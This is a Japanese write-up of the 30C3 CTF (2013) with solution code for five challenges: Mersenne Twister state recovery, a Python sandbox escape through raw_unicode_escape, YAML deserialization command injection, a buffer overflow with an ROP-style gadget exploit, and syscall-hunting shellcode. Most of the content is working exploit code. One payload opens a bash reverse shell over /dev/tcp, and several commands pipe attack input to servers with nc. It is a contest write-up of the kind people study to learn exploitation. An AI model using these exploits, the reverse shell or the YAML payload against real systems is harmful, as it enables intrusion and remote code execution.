30c3 ctf writeup
2013/12/28-30 の30c3 ctfにチーム0x0として参加しました。
自分が解いた問題
guess
#!/usr/bin/python
"""
static PyObject *
random_getrandbits(RandomObject *self, PyObject *args)
{
(前略)
/* Fill-out whole words, byte-by-byte to avoid endianness issues */
for (i=0 ; i<bytes ; i+=4, k-=32) {
r = genrand_int32(self);
if (k < 32)
r >>= (32 - k);
bytearray[i+0] = (unsigned char)r;
bytearray[i+1] = (unsigned char)(r >> 8);
bytearray[i+2] = (unsigned char)(r >> 16);
bytearray[i+3] = (unsigned char)(r >> 24);
}
(後略)
}
サーバーから送られてくる32bit * 2個の乱数(r.getrandbits(64))を10回当てるとflagが
送られてくる。
Pythonのrandomモジュールはメルセンヌ・ツイスタで乱数を生成している。
624 / 2回乱数を受信して状態ベクトルを再現することによって、次の乱数を予測できる。
"""
import socket
import random
import re
def untemper(rand):
rand ^= rand >> 18;
rand ^= (rand << 15) & 0xefc60000;
a = rand ^ ((rand << 7) & 0x9d2c5680);
b = rand ^ ((a << 7) & 0x9d2c5680);
c = rand ^ ((b << 7) & 0x9d2c5680);
d = rand ^ ((c << 7) & 0x9d2c5680);
rand = rand ^ ((d << 7) & 0x9d2c5680);
rand ^= ((rand ^ (rand >> 11)) >> 11);
return rand
r = random.Random()
s = socket.create_connection(("88.198.89.194", 8888))
N = 624
print s.recv(4096)
state = []
for i in range(N / 2):
print s.recv(4096)
s.sendall("0\n")
answerline = s.recv(4096)
m = re.match(r"Nope, that was wrong, correct would have been (\d+)...\n",
answerline)
answer = int(m.group(1))
print answer
state.append(untemper(answer & 0xffffffff))
state.append(untemper(answer >> 32))
state.append(N) #new index
r.setstate([3, tuple(state), None])
for i in range(10):
print s.recv(4096)
s.sendall(str(r.getrandbits(64)) + "\n")
print s.recv(4096)
pyexec
#!/usr/bin/python
"""
サーバーにコードを送ると、↓のコードで入力をチェックした後、
pythonインタプリタで実行される。
--------------------------------------------------------------------------------
blacklist = [
'UnicodeDecodeError', 'intern', 'FloatingPointError', 'UserWarning',
'PendingDeprecationWarning', 'any', 'EOFError', 'next', 'AttributeError',
'ArithmeticError', 'UnicodeEncodeError', 'get_ipython', 'import', 'bin', 'map',
'bytearray', '__name__', 'SystemError', 'set', 'NameError', 'Exception',
'ImportError', 'basestring', 'GeneratorExit', 'float', 'BaseException',
'IOError', 'id', 'hex', 'input', 'reversed', 'RuntimeWarning', '__package__',
'del', 'yield', 'ReferenceError', 'chr', '__doc__', 'setattr',
'KeyboardInterrupt', '__IPYTHON__', '__debug__', 'from', 'IndexError',
'coerce', 'False', 'eval', 'repr', 'LookupError', 'file', 'MemoryError',
'None', 'SyntaxWarning', 'max', 'list', 'pow', 'callable', 'len',
'NotImplementedError', 'BufferError', '__import__', 'FutureWarning', 'buffer',
'def', 'unichr', 'vars', 'globals', 'xrange', 'ImportWarning', 'dreload',
'issubclass', 'exec', 'UnicodeError', 'raw_input', 'isinstance', 'finally',
'Ellipsis', 'DeprecationWarning', 'return', 'OSError', 'complex', 'locals',
'format', 'super', 'ValueError', 'reload', 'round', 'object', 'StopIteration',
'ZeroDivisionError', 'memoryview', 'enumerate', 'slice', 'delattr',
'AssertionError', 'EnvironmentError', 'property', 'zip', 'apply', 'long',
'except', 'lambda', 'filter', 'assert', 'copyright', 'bool', 'BytesWarning',
'getattr', 'dict', 'type', 'oct', '__IPYTHON__active', 'NotImplemented',
'iter', 'hasattr', 'UnicodeTranslateError', 'bytes', 'abs', 'credits', 'min',
'TypeError', 'execfile', 'SyntaxError', 'classmethod', 'cmp', 'tuple',
'compile', 'try', 'all', 'open', 'divmod', 'staticmethod', 'license', 'raise',
'Warning', 'frozenset', 'global', 'StandardError', 'IndentationError',
'reduce', 'range', 'hash', 'KeyError', 'help', 'SystemExit', 'dir', 'ord',
'True', 'UnboundLocalError', 'UnicodeWarning', 'TabError', 'RuntimeError',
'sorted', 'sum', 'class', 'OverflowError'
]
for entry in blacklist:
if entry in data:
return False
whitelist = re.compile("^[\r\na-z0-9#\t,+*/:%><= _\\\-]*$", re.DOTALL)
return bool(whitelist.match(data))
--------------------------------------------------------------------------------
raw_unicode_escape エンコーディングを使うと\uXXXX 形式でコードを書くことができる
ので、 チェックを回避して任意のコードを実行できる。
raw_unicode_escapeしたリバースシェルを突っ込んで終了
"""
import sys
f = open("input.py", "r")
print "# coding: raw_unicode_escape"
for c in f.read():
sys.stdout.write("\u%04x" % ord(c))
yass
"""
--------------------------------------------------------------------------------
$ ./yass
yass online
/bin/ls test
/bin/ls: test にアクセスできません: そのようなファイルやディレクトリはありません
--------------------------------------------------------------------------------
コマンドを実行する時、snprintf(buf, size, '{"cmd":"%s", "args":"%s"}', コマンド, 引数)
でYAMLを組み立て、modules/filter.pycに渡してチェックしている。
--------------------------------------------------------------------------------
"""
# 2013.12.28 11:59:16 JST
#Embedded file name: /home/user/modules/filter.py
import yaml
import string
class Filter:
def __init__(self):
self.allowed_commands = ['/bin/ls', '/usr/bin/whoami', '/usr/bin/uname']
self.goodchars = string.lowercase + string.uppercase + string.digits + '/ *.?'
self.payload = dict()
def get_command(self, yamlstring):
try:
self.payload = yaml.load(yamlstring)
except:
self.payload = dict()
return self.payload
if self.payload['cmd'] not in self.allowed_commands:
self.payload['errcmd'] = 'Blacklisted command %s' % self.payload['cmd']
self.payload['cmd'] = '/bin/false'
for c in self.payload['args']:
if c not in self.goodchars:
self.payload['args'] = ''
self.payload['errarg'] = 'Found at least one blacklisted char!'
break
return self.payload
+++ okay decompyling modules/filter.pyc
# decompiled 1 files: 1 okay, 0 failed, 0 verify failed
# 2013.12.28 11:59:16 JST
"""
--------------------------------------------------------------------------------
yaml.loadは任意の関数を実行できるので、
--------------------------------------------------------------------------------
>>> import yaml
>>> yaml.load('!!python/object/apply:os.system ["/bin/sh"]')
$
--------------------------------------------------------------------------------
/bin/ls ","cmd":!!python/object/apply:os.system ["/bin/sh"],"args":"
を突っ込むとシェルが起動する
"""
DOGE2
#!/usr/bin/python
"""
DOGE2の説明に必要なので、DOGE1の解説も書いておきます。
DOGE1:
犬の名前読み込む処理にバッファがオーバーフローするバグがある。
犬の名前の次に、犬の絵のパス(ascii_art_doge_color.txt\0)が格納されている。
そこで、それを上書きすることで、任意のファイルを表示できる。
/etc/passwdにflag。
--------------------------------------------------------------------------------
__pyx_v_4doge_namebuf:
20b220 446f6765 00000000 00000000 00000000 Doge............
20b230 00000000 00000000 00000000 00000000 ................
__pyx_k_39:
20b240 61736369 695f6172 745f646f 67655f63 ascii_art_doge_c
20b250 6f6c6f72 2e747874 00737563 68207461 olor.txt.such ta
--------------------------------------------------------------------------------
--------------------------------------------------------------------------------
(犬の名前を読み込む処理)
4d19: 48 8d 35 00 65 20 00 lea rsi,[rip+0x206500] # 20b220 <__pyx_v_4doge_namebuf>
4d20: 89 df mov edi,ebx
4d22: ba 00 10 00 00 mov edx,0x1000 #<- !! バッファは32byteだけど4096byte読んでる
4d27: 30 c0 xor al,al
4d29: e8 b2 e0 ff ff call 2de0 <__read@plt>
--------------------------------------------------------------------------------
exploit:
echo -n '12345678901234567890123456789012/etc/passwd\x00' | nc 88.198.89.218 1024
DOGE2:
犬の絵のパスのさらに後を上書きすると、read()呼び出しの後のPyObject_Callでクラッシ
ュする。
--------------------------------------------------------------------------------
python -c "import sys;sys.stdout.write('A'*4096)" | nc localhost 1024
--------------------------------------------------------------------------------
--------------------------------------------------------------------------------
Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread 0x7ffff7fc4740 (LWP 27554)]
0x00000000004abf6d in PyObject_Call ()
(gdb) disas
Dump of assembler code for function PyObject_Call:
0x00000000004abf60 <+0>: push rbp
0x00000000004abf61 <+1>: mov rbp,rdi
0x00000000004abf64 <+4>: push rbx
0x00000000004abf65 <+5>: sub rsp,0x18
0x00000000004abf69 <+9>: mov rax,QWORD PTR [rdi+0x8] <- !!
=> 0x00000000004abf6d <+13>: mov rbx,QWORD PTR [rax+0x80] <- !!
0x00000000004abf74 <+20>: test rbx,rbx
0x00000000004abf77 <+23>: je 0x4abfdc <PyObject_Call+124>
0x00000000004abf79 <+25>: mov rcx,QWORD PTR [rip+0x401760] # 0x8ad6e0 <_PyThreadState_Current>
0x00000000004abf80 <+32>: mov edi,DWORD PTR [rcx+0x18]
0x00000000004abf83 <+35>: add edi,0x1
0x00000000004abf86 <+38>: cmp edi,DWORD PTR [rip+0x39f244] # 0x84b1d0 <_Py_CheckRecursionLimit>
0x00000000004abf8c <+44>: mov DWORD PTR [rcx+0x18],edi
0x00000000004abf8f <+47>: jg 0x4abfb8 <PyObject_Call+88>
0x00000000004abf91 <+49>: mov rdi,rbp
0x00000000004abf94 <+52>: call rbx <- !!!!!!!!
(gdb) p/x $rax
$2 = 0x4141414141414141 <-'AAAAAAAA'
(gdb) x/x $rdi
0x7ffff6b18630 <__pyx_type_4doge_Doge>: 0x41414141
(gdb) p/d $rdi - (unsigned long long)__pyx_v_4doge_namebuf
$7 = 1040
--------------------------------------------------------------------------------
入力によってcall先とrdi(第一引数), raxの指すデータを制御できることが分かる。
第一引数(rdi)の指すデータの8byte後に(呼び出す関数のポインタへのアドレス - 0x80)を
格納する必要 があるため、 第一引数の文字列に使える領域が実質8byteしかない。
したがって、直接system()をcallしてリバースシェルを起動することはできない。
.data領域は実行不可なので、 メモリ上の実行可能な領域から使えそうなコード片を探し出
し、第一引数を変更した後system()を呼んでもらうことにした。
libsqlite3.so.0.8.6にちょうどいいコードがあるのでこれを使う。 (探すのが大変だった)
328cc: 48 8b 1f mov rbx,QWORD PTR [rdi] <-!!
328cf: 4c 8b 8d 48 02 00 00 mov r9,QWORD PTR [rbp+0x248]
328d6: 48 03 43 20 add rax,QWORD PTR [rbx+0x20]
328da: 48 8b bb 88 01 00 00 mov rdi,QWORD PTR [rbx+0x188] <-!!
328e1: 4c 8b 38 mov r15,QWORD PTR [rax]
328e4: 4d 89 f8 mov r8,r15
328e7: ff 93 80 01 00 00 call QWORD PTR [rbx+0x180] <-!!
リモートの環境では、
・ライブラリや実行ファイルのロードされる位置 (ASLR)
・ライブラリ内の関数のオフセット
が違うので、 DOGE1の脆弱性でリモートから
・メモリマップ (/proc/self/maps)
・ライブラリ
・/usr/lib/x86_64-linux-gnu/libsqlite3.so.0.8.6
・/lib/x86_64-linux-gnu/libc-2.17.so
を取得し、バッファと呼び出す関数のアドレスを調整する。
あとはexploitを打ち込むだけ
exploit:
"""
import sys
import struct
BASE = 0x7fc247b12000
BUF = BASE + 0x20b220
LIBC_BASE = 0x7fc248e7f000
SYSTEM = LIBC_BASE + 0x46320
OBJECT = BUF + 1040
COMMAND = "bash -c \"bash -p >& /dev/tcp/**/43210 0>&1\"\0"
#/usr/lib/x86_64-linux-gnu/libsqlite3.so.0.8.6
SQLITE_BASE = 0x7fc246bed000
GADGET = SQLITE_BASE + 0x328cc
"""
328cc: 48 8b 1f mov rbx,QWORD PTR [rdi]
328cf: 4c 8b 8d 48 02 00 00 mov r9,QWORD PTR [rbp+0x248]
328d6: 48 03 43 20 add rax,QWORD PTR [rbx+0x20]
328da: 48 8b bb 88 01 00 00 mov rdi,QWORD PTR [rbx+0x188]
328e1: 4c 8b 38 mov r15,QWORD PTR [rax]
328e4: 4d 89 f8 mov r8,r15
328e7: ff 93 80 01 00 00 call QWORD PTR [rbx+0x180]
"""
OBJECT = BUF + 1040
buf = ""
buf += "A" * (1040)
buf += struct.pack("<Q", OBJECT + 24) #OBJECT GADGETのrbx
buf += struct.pack("<Q", OBJECT + 16 - 0x80) #OBJECT + 8
buf += struct.pack("<Q", GADGET) #OBJECT + 16
buf += "\0" * 0x180 #OBJECT + 24 GADGETのrbx
buf += struct.pack("<Q", SYSTEM) #GADGETのrbx + 0x180 呼び出す関数へのポインタ
buf += struct.pack("<Q", BUF + len(buf) + 8) #GADGETのrbx + 0x188 第一引数へのポインタ
buf += COMMAND #第一引数
if len(buf) > 4096:
sys.stderr.write("error\n")
sys.stdout.write(buf)
\
\
int80
/*
標準入力へシェルコードを入力すると、
・シェルコード中のint 0x80 (cd 80)、sysenter(0f 34)、 syscall(0f 05)を潰す
・リターンアドレスをクリア
・汎用レジスタをクリア
・スタックの使用されている領域をクリアしてバックトレースを読めないようにする
の後、シェルコードが実行される。
その上
・シェルコードへの書きこみ不可
・ASLRが有効
なので、一見システムコールの呼び出しは不可能に見える。
しかし、スタック上側の使用されていない領域にfread()内部へのポインタが残っている
ので、 それを利用してlibc内部のsyscall命令を探すことができる。
shellcode:
*/
.intel_syntax noprefix
.code64
mov rdi, rsp
//libcを探索
search_libc:
mov rax, [rdi]
mov rbx, rax
//lib or stack
//0x7f 00 00 00 00 00
shr rax, 40
cmp eax, 0x7f
jnz slnext
//fread の一部
mov rcx, 0x48000080000045f7
cmp [rbx], rcx
jne slnext
mov rdi, rbx
jmp search_syscall
slnext:
sub rdi, 8
jmp search_libc
//syscall (0f 05)を探索
search_syscall:
mov ah, 0x05
mov al, 0x0f
cmp [rdi], ax
je exec
dec rdi
jmp search_syscall
//cat /home/user/flag
exec:
mov r8, rdi
xor rdx, rdx
lea rdi, [rip + filename]
push 0
lea rax, [rip + arg]
push rax
push rdi
mov rsi, rsp
mov rax, 0x3b
jmp r8
filename: .ascii "/bin/cat\0"
arg: .ascii "/home/user/flag\0"